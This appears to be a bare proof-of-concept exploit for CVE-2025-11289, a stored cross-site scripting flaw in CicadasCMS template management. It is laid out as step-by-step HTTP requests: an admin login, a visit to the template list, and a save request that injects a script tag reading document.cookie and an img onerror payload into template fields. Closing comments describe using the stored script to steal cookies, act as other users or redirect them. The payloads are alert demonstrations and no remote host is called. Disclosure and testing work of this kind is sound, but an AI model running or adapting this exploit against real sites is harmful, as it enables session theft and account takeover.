CVE-2025-11289

<!-- PoC for CVE-2025-11289: CicadasCMS Template Management XSS --> <!-- Attack vector: Stored XSS via Template Save function --> <!-- Target: src/main/java/com/zhiliao/common/template/TemplateFileServiceImpl.java --> // Step 1: Login as admin user (requires high privileges) POST /admin/login HTTP/1.1 Host: target-cicadas-cms.com Content-Type: application/x-www-form-urlencoded username=admin&password=admin_password // Step 2: Navigate to Template Management page GET /admin/template/list HTTP/1.1 Host: target-cicadas-cms.com // Step 3: Inject malicious XSS payload via the Save function POST /admin/template/save HTTP/1.1 Host: target-cicadas-cms.com Content-Type: application/x-www-form-urlencoded templateName=<script>alert(document.cookie)</script>&templateContent=<img src=x onerror=alert(1)> // Step 4: When another user (especially admin) views the template page, // the malicious script executes in their browser context // This can be used to steal cookies, perform actions on behalf of the user, // or redirect to malicious sites

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